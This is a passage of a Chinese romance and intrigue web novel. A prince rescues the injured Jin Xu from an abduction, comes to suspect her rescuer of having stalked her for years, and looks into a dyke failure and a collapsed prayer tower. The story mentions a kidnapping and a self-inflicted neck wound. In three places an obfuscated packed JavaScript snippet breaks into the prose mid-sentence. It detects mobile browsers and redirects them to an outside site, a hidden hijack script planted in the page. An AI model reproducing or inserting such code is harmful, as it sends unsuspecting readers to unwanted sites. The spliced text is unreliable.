到了晚上,梁风和老李吃过饭,夜深人静下来,不知怎么突然很想见她。 越想越想,眼前都出现了她的幻影。 思念在胸腔里逐渐聚浓,浓得快要变成一个馒头,堵在身体内被热气蒸得膨胀。 或许她也正在想他呢,梁风心里窃喜,喜得耳朵发热,说不定就是她的思念太过强烈传到了他这里。 已经一天没见她了,梁风觉得有必要去找她了,不然这个馒头消化不掉。 说去就去,梁风纵身飞跃房屋,直接翻过了她的墙头。 叩叩叩。 屋里探出柔竹的小脑袋,“阿絮姐?” 夜闯私宅,梁风揣手老实又雀跃地友好笑着。 “王爷?” “阿絮在吗?” 柔竹摇摇头,打开了门,“不在,阿絮姐出门去了,还没回来。” 不在。雀跃被空气沉沉地一压,梁风很快又提起雀跃,“那我等等她。” 等到了亥时,她还没回来。反而是徐礼下卯回来了。 徐礼吃过饭便进屋了,对来客一声招呼都没有。自从徐礼由他打点授了官后,梁风至今没见过人。不过他现在不想多管,只想见金絮。 柔竹都忧心起来,对着门外巴望,“阿絮姐怎么还没回来?” “她今天去了何处?” “阿絮姐午后出的门,她想去驿站看看有没有京城来的信件,然后去寺庙上香。上完香按理说傍晚也该回来了,寺庙距家也就三四条街的路。” 傍晚。梁风皱眉,派出暗卫找人。 过两刻钟,暗卫回来说没找到。 他派出所有暗卫找她,撤回她身边的暗卫这才一天,梁风直觉可能出事了。 问过柔竹说的那座寺庙,寺庙僧人确认今日傍晚前的确有暗卫所述的那名女子上香,上香后她便走了,没有逗留。 还没打听完便宵禁了,梁风不方便在她家过夜,去附近屋顶上等了一晚。 等到天亮,暗卫顺着寺庙旁的几条街沿路打听过去。 沿路几家铺主都说见过她,她的确在上完香后走了回家的路,但是她的线索断在那条路上一个僻静的拐角处。拐角这头的商家亲眼看见她拐进去,然而拐角那头的铺主却没看见她走过来。 梁风加大范围,以寺庙到她家为核心,扩散搜索。 过了巳时,十三终于找到她的线索。 她最后出现在距离她家很远的一间驿馆,那附近是城郊尚未被修缮的战后破屋群。驿馆门前摆着一个果子摊,摊主昨夜见过那名女子。 摊主说,见到那名女子时,她是被一个男人抱进去的,当时那女子好像睡着了,而且受了伤,身上有血。摊主还说,那一男一女引人注目,穿着打扮上未做掩饰,看长相也不像是那附近会出现的人。 梁风带着暗卫找到摊主指示的驿馆,抓了店小二严问,店小二指了指二楼的房间。 梁风喊着阿絮,冲上二楼,一脚踹开房门。 他一眼看见左侧床榻上坐着的金絮,浑身的血瞬间往脑袋上冲。 她被打伤了,头上绑着绷带,两颊青紫红肿,肿得皮肤表面爆出了血丝,脸庞憔悴没有血色,脖子上都缠着绷带。 “阿絮!”梁风冲去她床边。金絮看着他发怔,在他开口前当先握住他的手道:“我没事。” 声音沙哑无力,红肿的脸颊挤得嘴唇难以说话。 “谁敢伤你!”梁风怒气勃发,看向屋内另一个已被十三擒获的男人。 梁风想一拳砸过去,却被金絮拉住了手。 “不是他......” 握着他的手微微发抖,恐惧和怒火席卷他的大脑,他甚至听不清她在说什么。 “林公子是救我的人。”金絮想抓他另一只手,但是够不到,只好抓住他的衣服,防止他冲动行事。 梁风有些冷静下来,感受到她的迫切,当先安抚她的情绪。她的伤口处理过,眼神尚算清明。梁风摸着她的手,再次看向另一个陌生男人,“林公子是谁?” 那人被十三猛地一扑,砸倒毛巾架,明显被砸蒙了,不会武的样子。 金絮收紧手臂,环抱他,“抓我的人是贾镇。” 梁风一愣,“贾镇?!” 他彻底冷静下来,回想起她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839925|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在并阳郡时的忌惮,心中巨悔。早在并阳郡时贾镇就盯上她了,他怎么没留心,在她说要撤走暗卫他就当真撤回了! 梁风咬牙切齿,十三松开钳制林童忆咽喉的手指,立于一旁,“抱歉。” 她没有力气,手臂控制不住发抖,“贾镇跑了。” 仅仅是一天的疏忽!就这一天,他不在她身边,十三也不在她身边。梁风道:“十三!” 十三领命,立即跑出去。 梁风在她身边坐下,拉起被子包裹她,接着第三次看向屋里另一个男人。 这男人摆脱十三钳制,咳嗽着从地面爬起来。梁风仔细一看,才发现这人长得有点怪,身形是男子无疑,脸长得却像女子。印象中没见过这人,梁风仍是警惕,问道:“你是何人?” 那男人看着他们,片刻垂下眼,一揖,“回王爷,草民名叫林童忆,是个京城布商,说起来也曾是温柔馆的常客。” 温柔馆常客?没见过,按理长成这样他应该有印象,是他忘了?梁风仍然警惕。 他表露无遗的警惕没有惹恼林童忆,金絮拉拉梁风衣袖道:“只是从前的一位客人,以前温柔馆生意时常承林公子照拂。林公子前一阵来太南,昨日碰巧遇见我便出手相救。” 她的脸太肿,说话很困难。梁风不想她说这么多话,他第四次看向林童忆,起身弯腰道:“阁下出手相救阿絮,本王定有重谢。” 林童忆客气地淡笑,“举手之劳,何必多言谢。金姑娘既已平安,草民这便告辞了。” 梁风皱眉,林童忆说完便走,梁风看着林童忆直到其背影离开。 他仔细检查金絮伤势,最严重的是脖子的伤口,不知深浅大小。他轻轻触碰绷带,“贾镇想杀你?” “我自己割的。”金絮拿下他的手。 仿佛她额头挨的一闷棍砸到他脑子里,砸得他脑浆四溢,神志不清。 金絮忙指着头道:“贾镇打我,打破头,我没力气,割得浅。” 更没想到她是这样解释,梁风的理智消失了一瞬,吼她:“割得浅也是割!你完全不考虑后果吗!” 金絮抿嘴不语,自己用手挡住脖子。 看见她苍白的嘴唇愈发苍白,梁风攥紧掌心。他要冷静,他要冷静,他要冷静,他是生气,但他不能对金絮发火。 “我先带你回家。” 梁风掀开被子,被子下面有一件男人外袍盖在她身上,他抓住外袍停顿了一息,猜测是那个林童忆的。想到林童忆走前说的“金姑娘”,梁风把这外袍也掀了,金絮却突然瑟缩,用双臂挡住身体,她还穿着被撕破的衣服。 梁风这一瞬间想把贾镇撕碎,他脱了外袍仔细包住她,抱起来就往驿馆外走。 驿馆外停着暗卫驾来的马车。梁风抱着她上车,将衣服更仔细地包好,忍不住泄一点火出来,“找你的时候我很想见到你,还在想我见到你要和你说什么,我每时每刻都在想你,我还以为是你也想我才让我那么想你,我满心欢喜,你就想让我找见你的尸体?” 她不挣扎,不反驳,低眉顺眼,慢慢靠在他肩头什么话也不说。 衣服下的身体温热鲜活,她的呼吸温热鲜活,不是死的。巨大的后怕无处发泄,梁风不由自主搂住她,想抱紧点又怕碰到她身上其他伤口。 “我没事了。”她道。 “没事个鬼!你再说句没事?” 她不说话了。 191. 当年笏满床 “你会怎么处置贾镇?”她问。 “你不要管,我会处理。” “贾镇背后是三皇子,你别太过分。”她的语气一本正经。 “你以为我会怎样过分?”梁风责怪,“话都说不顺溜就不要说了。” 再过分都不过分,他这时觉得双缗令之下,家产巨大的商贾也该缩缩水了。 金絮当真不再说话,一路沉默着。 直到车停,梁风抱她下车,她的腿伤了。 金絮在看见和光府的一瞬产生了慌乱。她连连看了数眼,最后收回视线,缩在他怀里,不敢再看。 梁风双臂抱紧,安慰道:“不哭。” 抱她入卧房,梁风叫来李婶。金絮不停地打量卧房四壁,梁风忍不住牵着她的手,和她说:“这世上除了你,还有我也记得这座宅子。” 她眼中泪水更多,梁风擦擦她的眼泪,“老李也记得。” 李婶来了,为她换药。梁风退出房间,门一关上,他就听见金絮不再压抑的哭泣。 他叫来所有在太南的暗卫,下令追查贾镇。包括贾镇在太南的人脉、贸易往来、每一处钱庄的存取记录、郡府对贾镇的收税情况、贾镇在太南的行程,他全部都要知道。如果贾镇做得当真足够干净找不出把柄,他就在贾镇返回并阳郡的路上偷袭。 还有那个林童忆。 林童忆为什么知道她姓金。 梁风对这个姓林的更加警惕,这么多年,她身边竟然一直存在林童忆这个疏漏。如果这姓林的居心不轨,哪怕此人救过她,他也得处理了。 一事归一事,救命之恩当报,他可以先借着承诺的重谢接触一下。 梁风和老李说了林童忆这人,让老李准备一份谢礼,他亲自去送。 金絮哭得太累换药后便睡了。李婶说她脖子的伤口不深,没有伤到要害,最重的是额头的撞击伤,她这几天会有些头晕恶心。 梁风入了夜守在她床边,防止她乱动压到伤口,听她的呼吸声,确认她清晰地活着。他坐到后半夜,不知怎么睡着了。 醒来她还在睡,梁风不打扰她,出去看见老李一个晚上就备好的谢礼单子。 价值高的有书画、玉器、木雕、珠宝、布匹、现钱与金子,不知道林童忆喜欢什么便各备了一些;心意高的有用竹和布编织的小件玩意、药材补品、题字折扇和老李手写的一封感谢信,还有老李在京时求来的平安符。 梁风看了一遍感谢信,提笔在最后补充了一句加重感激之情,盖上王府印章。 老李一早写了拜帖送去给林童忆,不到一个时辰便有回复。林童忆还住在昨天那家驿馆,梁风带上谢礼直接过去。 他在路上多买了把小匕首加入谢礼中。到了地方,他带着浩浩荡荡的东西找人,林童忆正在客房内。 门一开,林童忆看见他似乎受惊,“安分王殿下?”立即俯身要拜。 梁风一把拉住,止道:“林公子,我是来赠礼的,不是来受礼的。” 身后随从捧来一众谢礼,林童忆双眼微睁,琳琅满目地看着,受宠若惊。 梁风看着林童忆双眼道:“阿絮是我很重要的人,我非常感谢你救了她。” 这话真心实意,如果没有林童忆,她或许能在贾镇手里活着,但她不能在自己手里活着。 林童忆愣了愣,回视他半天一笑,“举手之劳而已,安分王殿下言重了,是很重要的人自然不能袖手旁观。” 梁风心里眉头一皱,感觉怪怪的,说不上来哪里奇怪,只道:“不是举手之劳。这些是我和她的一份心意,你收下吧。” 林童忆再看了看展示开的谢礼,定定神,走近细瞧。 梁风在林童忆背后打量一圈屋内,非常简洁,几乎没有少见的东西,像是暗器之类或鸟类的。他随口问道:“林公子在太南没有住处?” “没有。”林童忆看过字画接着看木雕,过了须臾再道:“草民住的地方在京城,来到太南仅是游玩几日,过不了多久便回京了。” “哦,那正好,林公子往后就是我安分王府的贵客,你有什么需要尽管上门找我。” 林童忆又愣又惊,“这,这怎敢当。” “有什么不敢当,做我的贵客又不需要旁人首肯。”梁风问:“林公子在京城住在何处?” 林童忆极为短暂地犹豫了一瞬,才答道:“来福街,就在温柔馆旁侧。” 梁风“哦”了一声。 认真观察了几眼,可以从林童忆的喉结、肩颈、腰胯、手骨等部位看出是男子,不是女扮男装或是男扮女装,只不过身量比较单薄,没有练武痕迹。 林童忆的脸挺白,快有以前的金絮那么白了,眉毛有女子那么细,眼睛也和女子非常像,但细看又不像。这应当算得上是英俊,梁风不知道怎么说,英俊狠的人是雌雄莫辨的吗?应该不是吧。他始终不记得温柔馆里有这么样一个人。 “黑翡翠。”林童忆忽然道。 “什么?”梁风没听清。 林童忆正在看珠宝盒子,捏起一颗绿翡翠照光看,笑了笑道:“没什么,黑色翡翠世间少有,色泽极为合适用作衣饰。草民是个开布行的,看见珠宝总容易往衣饰上挑拣。” 梁风笑,“哦。那便证明我送对了。” 林童忆却放下了翡翠,拿起折扇,打开,上面题了老李写的“衣绣树影”四字。 林童忆似乎很喜欢,反复地来回观看。 最后虽然嘴上说着珠宝,林童忆却只收下了折扇和感谢信,其他的不要。 “这些珠子不要吗?”梁风指指珠宝。 珠宝盒子富丽堂皇,闪闪夺目。林童忆没有多看,还未开口,梁风便道:“这些东西也是俗气得很,林公子是把救命之恩看作举手之劳的人,这些东西呃、也太世俗了些。” 林童忆在他脸上转了转,客气笑笑,“安分王殿下说笑了,草民只是一介布商,这样的东西摆在我铺子里真是让我那间陋铺蓬荜生辉。”略顿,再道:“只是容易遭贼人惦记。” 梁风一愣,忙道:“是我疏忽了,那我改日换些东西送你。”他随即想道:“王府每年都要进购布匹制衣,不如把这些生意交给你?” 林童忆像是走神了,这次停顿了很久,才看向他歉意笑道:“王爷当真不必太过客气,草民那间铺子并不会因为一次举手之劳便供得起王府需要的衣裳料子。” 林童忆向他深深一揖,“能有幸识得安分王殿下,已经是草民此生莫大的荣幸了。” 梁风不好再说什么,他不强求,往后可以再想办法,便将多余谢礼撤了。 从驿馆出来,梁风想,短暂的接触看不出有什么问题,可他总感觉哪里有点怪。若说试探他又不会试探,梁风决定更加深入调查一番林童忆。 他又带着浩浩荡荡的谢礼回去。 金絮已经起了,看见他带回来的几乎没动的东西,道:“我比你更熟识林公子,要谢也该是我去谢,若是我去,这些东西他说不定就收了。” “哪有什么区别。”梁风查看她的伤势,她的气色好了一点,脸上的红肿没有减退迹象,反而眼睛还哭肿了。 梁风喂她喝药粥,边喂边问:“林童忆是温柔馆常客,为什么我从前没有见过他?” “你见过的。忘了?” “我若是见过怎会不记得。” “温柔馆里的男客你记得几个?” 梁风默默掐指一数,他记得贾镇,然后...... 这么一算好像也是。 “你应当见过几回的。”金絮想道:“可能是与你接触不深你才不记得吧。林公子在温柔馆时很讨姑娘们喜欢,她们喜欢他做的衣裳,想着和他熟识了下一回的衣裳就会更漂亮些。有的时候她们还会用他的脸试妆,林公子都不会拒绝。” 梁风不由换了个方向,难道林童忆在他记忆中是温柔馆里某个沉默寡言的姑娘?好像不是,他应当记住了全部姑娘们的长相和名字才对。 “我以为他暗中想要谋害你,他知道你姓金。”梁风道。 “我开始也奇怪,后面想到他知道我姓金,说不定是听见丽姬这么喊过我才记下了。又或者,他说的是‘轻’吧,不是金,我在温柔馆的名字是叫轻絮。” “轻”和“金”,听起来似乎很相似。 可他脑中又闪过疑惑,林童忆真的是个可信任的人吗? 梁风回忆刚才的谈话过程,林童忆基本没有主动抛话给他,如果林童忆对金絮有什么企图,应当会趁着他这次找上门探听几句。 “林氏布行从前多是做青楼行当的生意,尤其是给温柔馆供货,在布行里的名声不是很好。温柔馆倒闭后,林公子的生意怕是不好做了。不知道他会不会换一个行当。” “你还挺担心这人。” 金絮叹气,“我真是白活二十几年,怎么欠了好几个人的救命恩情。” “你没有欠我的。”梁风做她的粥碗架子道。 梁风还是派出暗卫细查林童忆,最好能查到林童忆小时候的生活经历,是否有机会认识十四岁之前的金絮。 事情交代下去,梁风整日陪着金絮养伤,扶她在和光府中四处逛。虽然这宅子不能送给她,但还是希望修缮的事情能听从她的意见。 过了几天,她的伤还没好全,梁风听说太南港口发生了事故。 他略一打听,得知是港口堤坝坏了。 上个月一场大雨,港口一带发了一场小涝灾。没有造成影响,曹郡守却在距离太南港口三里的位置修了一座临时堤坝防患。结果前日堤坝被冲毁,长泽决堤,淹了中段的太南港几艘船只。 那几艘船运载的是漕粮,是送往长泽南岸几座郡县的官员俸禄,在太南只是路过。 事情隔日就传到朝廷,朝廷为此派来了刺史并调拨新的漕粮,还要过两天人粮才到。 随着朝廷粮食下来的还有京城一户大贾,王家。王家三代皇商,专负责为朝廷监管长泽北岸河陆运输事宜。 梁风心想,为什么他待久了的地方总会发生事故。 他想看看事态,又觉得自己没必要太热心。太南不同于白沙县,天子脚下能出什么事,出了什么事都有朝廷管着,他还是少冒头得好。 刺史下郡肯定是为了调查为什么堤坝修得这样脆弱不堪,修堤坝是上个月的事情,上个月他还不在太南。 晚上,暗卫送来贾镇的所有情报。 情报中记录了贾镇在中原所有的产业分布和营收状况。贾镇这次来太南的目的除了是为跟踪金絮而来,还是来讨债的。 借了贾镇钱的人是太南一户本地商贾,借钱的目的是想效法京城王家做官府的生意。于是借了贾镇的钱,参与太南港三里外临时堤坝的修建过程。 这个本地商贾是前几年战后入主太南的商户之一,野心想承包官府所有与航 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839926|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 船运输有关的事宜,然而没能做到。 这样的商贾在太南非常多,太南战后之所以能修复得这么快,部分功劳得益于这些商贾。他们背地里互相争斗太大,到这两年真正做起来的没有几个。 梁风灵光一闪,说不定可以借这次漕运的事故折磨贾镇。虽然与贾镇关系较远,但也不是八竿子打不着。只是这样的话他就要插手进这起漕运的意外事故中了。 梁风想到了半夜,醒来后去找金絮吃早饭。 她的伤势逐渐好转,额头的伤口已经结痂,不需要缠绷带了,脸颊恢复如初,说话也利索了。唯独脖子侧面有一道浅浅的粉色疤痕。 “这条伤疤倒也不丑,还挺好看的。”她对镜自赏。 梁风不说话,疤痕当然都是不好看的。 和她同桌吃早饭,金絮道:“伤养好我就回家去了,你要什么时候回京?” 她要搬出和光府了,梁风道:“我想回京的时候再回。” 金絮也不管他,自己喝粥。 这时十三现身,说有事要报。 梁风让报,十三便道:“主子,林童忆事迹已经查证过,他十年前曾在太南行乞。” “你查他?”她惊问。 她惊诧的样子让梁风觉得不对味,“干嘛?不能查啊?” “有什么必要查他?这多冒犯人家,林公子又没做错什么。”她有些责怪。 梁风听不惯她这语气,道:“我就是觉得这人不对劲。十三继续说。” 十三道:“属下查过林童忆户籍,他出生在西南偏南一座极小的县城。该地出产绿鸦膏,县内较为富裕,但他家境似乎很差。林童忆小时不知何故离家,身无长处,沿路乞讨去往京城,路过太南郡时大约十三岁。” “林童忆在太南行乞那年,正好遇上主子带兵把守城门,战火之下许多记录都遗失了。他当时在太南的行迹难以得知,属下查看过城门路引,只知道在遇战当年林童忆便离开太南上京。” 林童忆不如贾镇名气大,查起来比贾镇困难许多,缺失很多细节。太南遇战那一年,金絮也随着家人避难上京,那年有非常多的人避难上京。 “受战火影响,京城的城门过关记录存在极大的缺漏,林童忆进入京城后便丢失踪迹。但在隔年,京城府衙曾短暂地收押过林童忆,关了几天便放出了,收押罪名是干扰官府办事,官衙留有收押文书。林童忆被押的那天,是在官府放火烧毁前丞相府邸的第二天。这是属下与留在京城的老大通信,老大查到的。” 梁风猜测是不是林童忆在太南时偶然见过金絮,才认得了她。 十三道:“天佑元年,林童忆曾来到太南,数月后于天佑二年再次返回京城。他那几月在太南的行踪已不可考。他回到京城改了名字,原先似乎是叫林儿,改为叫林童忆,旧户籍在京城留底。” 梁风愣了,皇帝初登基那年金絮藏在他的王府,后面她逃出去了。 “你那年在太南有没有见过他?”梁风心里疑鬼。 金絮也愣了,“我记不清楚了,应当没有吧。”她仔细想了想仍是摇头,“我当时应该没有和任何人发生过多接触,我怕身份败露会牵连无辜的人。” 梁风知道,她那时非要离开王府只身去往太南,结果到了太南只见到一个断了手脚的远房舅舅,那个“舅舅”还在她发烧时把她卖给人牙子。 “这之后,林童忆的踪迹就清晰了。他四处做工,前后做过跑堂、搬工、木匠,攒了点钱在来福街开了家布行。”十三道:“去年,林童忆的布行生意变差,他在年后关停生意来到太南。这几月在城内四处走动,没干什么。” “年后?”梁风回想和林童忆的谈话,林童忆说来太南游玩几日就是游玩了数月? 梁风怔怔然,仔细串连十三说的一切,眼前仿佛出现十几岁的林童忆跟在一人身后往返于两座城之间。 他诧住,眼睛的瞳孔骤然缩紧。 心里陡然浮起一股巨大强烈的危机感,梁风不受控地拍桌而起,“这人非常危险!” 金絮没明白,“为什么?” “他在跟踪你!跟踪了你好几年!” 林童忆这几年的行动路径和金絮有巨大的重合。甚至或许连他自己都曾若有若无地,数次与林童忆擦肩而过,而他毫无知觉。 “他这么多年一直在跟踪你!” “跟踪?” “这人简直太过危险!”他绝对不允许金絮接近林童忆! “他屡次出现在我不在你身边的时候!” 前几年他剿匪抗匈时,林童忆在京和她做过什么? 还有前几日送礼时,林童忆过于谦卑的姿态,他隐约能猜到,林童忆跟踪金絮近十年是存着怎样一种心思。连布行都开在温柔馆的旁边! 他疑心这人居心叵测,万万没想到居心是这样的居心。 这人莫不是城府深厚、计谋深远,早早地算到了今天,要她欠一个救命之恩!包括林童忆这个名字,太难听的名字了! 梁风考虑出各种可能性,笃定道:“这姓林的说不定是同贾镇合谋害你!” 金絮闻言皱了皱眉,道:“梁风。” 缩紧的瞳孔快要连带脑子一块缩紧了,他从未听过金絮这样唤他。 “这不能说是一种保护吗?他这次救了我。” “你在替他说话!”梁疯道。 “你不许替他说话!” 192. 《红叶书》(一一二) “好,我不替他说话。” 金絮道:“你希望我怎么做?他的行为并没有危害到我。” “这怎么没有危害了!先让贾镇试图侵犯你,然后他做英雄!熟知你过去的人只有我,没有第二个!为什么他要跟踪你?他显然是居心不良,你不许认为他是个好人!” 梁风情绪下不来,自认连番话掷地有声,“我的暗卫在你身边也是保护你!我的人和他不一样!” 金絮向十三挥手,十三告退。 “他偷偷摸摸毫不磊落!而我哪一次的暗卫是你不知道的,你不可以信任他!” 金絮走到他面前,握住他的手,“你冷静一点。” 冷静?梁风冷静地回想林童忆谈话时的模样,那人的神情仿佛知道一切,可这人凭什么知道一切。那根本不是谦卑,是处心积虑之后认定一切尽在掌握的自在。 这是他没有体会过的自在,心脏被这股陌生的自在捏紧,梁风下意识握紧掌心里的东西发泄恐慌。 “只有我知道你的过去,只有我知道你从前在太南的生活,他不知道!他跟踪你十年他一定不知道!他跟了你十年没有一次敢站在你面前,他根本配不上你!” 金絮一愣,无奈道:“这怎么扯到配不配得上了。” “他配不上!”梁风无知觉地攥紧手掌,攥半天才发现掌心里有她的手。梁风一下子松了,怕捏痛她,接着又握紧,心脏悬悬的,他道:“你说你不会喜欢林童忆。” “你在担心这个?”金絮更加无奈了,“我若是会喜欢他早便喜欢了。” “你快说!” “我不会喜欢林童忆。”她依言道。 追着要的一句话听到耳中却显得突如其来,突得他的大脑恍惚一瞬,浑身血液仿佛在这一刻疯狂回流,心脏狂跳。 “好了吗?”她问。 “不好。”他的嘴巴巴地自动:“无论你怎么对我,我都知道我在你这里是不一样的。” 心脏突突突地狂跳,吵得脑子不完全清楚知道地明白自己在说什么。 “嗯。”金絮抬手摸摸他的脸颊,浅浅笑道:“越发像一个生动的脸谱了。” 梁风捏着她的手腕,想抱她,又不敢贴得太近,被她覆盖的脸是自在的。 金絮若有所思,“林童忆是喜欢我吗?” “他不喜欢!”梁风道:“他谁也不喜欢!他根本就不喜欢人!” “你不可以私下见林童忆,绝对不可以。” “行。” “绝对不可以。” “我知道了。” 梁风觉得不放心,“我去京城之后你怎么办?” “找个生意做做。” 林童忆也会去京城,林童忆在太南没有住处。 梁风忧心忡忡,他还是觉得不放心。 “他知道你在太南的住处,他到了京城肯定会写信给你,你......你......” “他不知道我在太南的住处吧?” 有心肯定能查到的,梁风道:“你、你如果收到他的信件你最多看一个字,不许回信。” 他把林童忆从头到脚审视一遍,觉得不行,“你不喜欢我放暗卫在你身边,你也绝不会喜欢这人。这人从一开始里里外外就已经不讨你喜欢了,他最初接触你就是监视你。” 金絮看着他,倒也不介意点头,“嗯。” 她收了手,梁风脸上不自在了。她回桌继续吃没吃完的早饭,梁风吃不下,贴她坐着东想西想。 金絮打量他的神情,道:“哦对了,我听老李说,皇帝给你指了门亲事?” 梁风还没抽离思绪,随即想到话头从林童忆那扯走也好,便道:“相看而已,我不喜欢。” “年纪小了点,我看画像挺不错的。” 他心里烦躁,说完一句又不想说了,“不说谢韵了。” “那我们说回林童忆。” “不行!” 和她独处为什么总说别人,他自己找话,“你什么时候回家去?” “想明天就回去。” 梁风不想放人。 “你看我的伤都养好了。”她展示额头。 额头有残留的粉色印痕,后续需要一直涂抹祛疤的药。 她往后久居太南的话,她在太南的名声是肯定要顾忌的。家中本身没有长辈,风言风语都没人挡着,她在一个男子家中住着已经很不好了。梁风不愿意也得放人。 “明天我送你回去。”梁风道:“我会留十三在你身边,不是监视你,是优先听命与你的,你有什么事情都可以使唤十三去做。” 她妥协,“行吧。” 梁风踏实一点,握着她的手能松松地握着了。 隔日,金絮早早起床。没什么东西要收拾,梁风备好马车便送她回家。 十三驾车,梁风和她一起坐在车厢里。 半路车停了。 太南郡内又出了一场事故。 祈福塔塌了,塌在祈福街与南大街的交汇处,人群堵住了三条街。 梁风出车查看,事故中心的人群出不去,外面的人不知情况不断往前。马车搁停一会儿,便被后面拥上来的人流堵住了。 金絮也钻出马车,“又出意外了。” 梁风弃车,抱她飞去旁边屋顶,留下的马车交由后来的暗卫。 “我自己回去,你赶紧先救人。” 梁风不,“我先送你回家。” 一口气连跳数屋,翻过她家的小土墙。 送到人他就要走了,梁风叮嘱:“我把十三留给你了。” “好了好了,知道了。” 梁风边走边回头看她,忍不住再说:“如果林童忆来找你的话你就要告诉十三,让十三告诉我。” “行了,知道了。”她推搡,“我这几日没回家,家里很多事情。” 梁风不喜她的推搡,却没办法多留。 翻过她的小土墙,梁风去祈福街。 祈福街的人群还没疏散,外围反而聚了更多看热闹的人,有人议论纷纷,有人好奇压死了几个。官府的人已经赶来,正有序地疏通街道。 梁风暂时觉得不多管,想先处置贾镇。 塔塌了肯定压死了人,他隐约发觉不对劲,他到太南后意外事情太多了吧。 他找到马车,去府衙。 叫来负责调查堤坝被冲毁事件的官员,梁风提示行商贾镇在这起意外当中其导火索作用。他隐去金絮,只将她称作是自己身边的人,暗示贾镇对他身边人的恶劣行径,毫不避讳地直言他的报复心态。 “贾镇试图伤害本王身边的人,无论堤坝被冲毁的原因是否与贾镇有直接关联,本王都不希望贾镇能从这件事情中全身而退。人做了错事就该付出代价。” 他亲自出面能体现重视,对于这件事情,他不怕皇帝对他起疑心。 疑就疑吧,他只想为金絮出头。 梁风回到和光府,老李将林童忆不要的谢礼一一摆在正屋装饰,梁风直往她的房里去。 看着空荡荡的卧房,他才反应过来。 和光府一地都是她的头发,只剩她的头发。 晚上,梁风想翻她的墙,和她盘算明天去哪吃早饭,郡守府的人却在这时上门找他。 郡府主簿功曹登门,向他就今日午前祈福塔塌毁一事询问一些细节。 “为何询问本王?”他只是路过。 主簿功曹气定,淡声道:“此次祈福塔塌毁压死了三人,不知王爷知不知徐礼徐公子在前年曾参与募捐修筑祈福塔一事?” 徐礼?梁风摇头,“我不知。” “这是徐公子那年所写募捐书,当时一共募得五百两黄金。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839927|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主簿功曹从怀中拿出一卷文书,李晟接来递给梁风看。 梁风大概看一遍,每一笔捐资都有捐者签名,一共五百黄金,尾页有郡府盖印和徐礼签名。写了日期,两年前。 祈福塔在前年就塌过一次,徐礼还做过这种事。这是徐礼为给自己买官而铺的路吗? 梁风抬头,“所以呢?” “殿下,按所募得五百黄金算,修成的塔不应当两年便塌了,这事还需细查一番。” 原来是在这等着他呢。 所以呢?需要他给徐礼担责吗?是说徐礼贪了捐资还是说这募捐书有假? 梁风冷哼:“祈福塔顶有颗夜明珠吧,五百黄金多出的钱都用来买那颗珠子了吧。” 主簿功曹一礼,“王爷有所不知,祈福塔顶的夜明珠是朝廷赏的,并未算在五百两黄金当中。” “下官深夜前来是奉曹大人之命告知您现需抓捕徐礼送往郡府配合受审。” “去抓人了?” “是。” 金絮没有被吓到吧,大晚上被官府的人敲门挺吓人的,不过有十三在他能放心些。 “要审问那便审,明日我同去祈福塔查证,查案过程中有何进度也需知会我。” 主簿功曹没应,梁风强调:“不是要我首肯,只是知会我。” 主簿功曹低头应了:“是。” 这天晚上十三没有来传话,梁风命暗卫带话给她,说徐礼被抓的事情他已经知道了,让她安心。 到了第二天一早,他去祈福塔残塔看看。 他说一同查证是为了避免郡府查案的人作伪证。走到半路,暗卫说她在附近。 梁风掀开车帘一看,金絮从街那头小跑过来。 梁风让她上车,金絮开口就问:“祈福塔塌了这事是皇帝的预谋?皇帝从徐礼下手针对你?” “不好说。你吃早饭了没有?” 她张嘴想说什么又不说,梁风一看就是没吃,吩咐去街边早点铺子买早饭。 她一边吃早饭,梁风一边和她说了昨晚的前前后后。 “也就是说,这件事可能是曹充一手安排、皇帝默认的,压死了三个人也无所谓,昏君去年允你离京就是为了给你一个行事的机会,好抓你的把柄。”她言之凿凿,“徐礼有罪,而你是安排徐礼进入郡府的人,罪就是你的了。” “事情查清之前都不好说。”梁风做她的豆浆架子道:“皇帝这人如果心里有何谋算,一般不会完全隐藏自己的想法。他会刻意透漏一点,让你警醒,然后反思自己。皇帝先前寄给我几封信,信中没有提及这层意思,曹充行事应当不是皇帝的授意。” 她狐疑,“是吗?” “我们现在就去祈福塔调查看看,或许会有线索。” 她自顾自想着,恍然,“曹充是不是想针对你来讨好皇帝啊,他还想调回京城做九卿?” “这倒是有可能。” “如果徐礼真的有罪怎么办?” 那他就受到牵连了,受牵连的后果是什么,就看皇帝的意思了。 她肃然道:“我不能保证徐礼在建塔时没有做过手脚。” 